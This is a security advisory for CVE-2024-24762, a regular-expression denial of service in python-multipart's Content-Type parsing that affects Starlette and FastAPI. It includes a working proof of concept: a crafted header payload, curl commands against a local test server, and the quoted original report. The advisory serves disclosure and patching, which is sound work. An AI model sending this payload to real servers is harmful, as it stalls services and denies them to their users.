CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
47.2%
When using form data, python-multipart
uses a Regular Expression to parse the HTTP Content-Type
header, including options.
An attacker could send a custom-made Content-Type
option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can’t handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart
.
A regular HTTP Content-Type
header could look like:
Content-Type: text/html; charset=utf-8
python-multipart
parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Create a simple WSGI application, that just parses the Content-Type
, and run it with python main.py
:
# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator
from multipart.multipart import parse_options_header
def simple_app(environ, start_response):
_, _ = parse_options_header(environ["CONTENT_TYPE"])
start_response("200 OK", [("Content-type", "text/plain")])
return [b"Ok"]
httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'
It’s a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.
This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
<details>
<summary>Original report to FastAPI</summary>
Hey Tiangolo!
My name’s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I’m using the latest version of FastAPI (0.109.0) and the following code:
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
I’m running the above with uvicorn with the following command:
uvicorn server:app
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You’ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you’ll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you’ll see it isn’t vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
</details>
github.com/advisories/GHSA-2jv5-9r88-3w3p
github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5
github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4
github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p
github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml
github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc
github.com/tiangolo/fastapi/releases/tag/0.109.1
github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389
nvd.nist.gov/vuln/detail/CVE-2024-24762
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
47.2%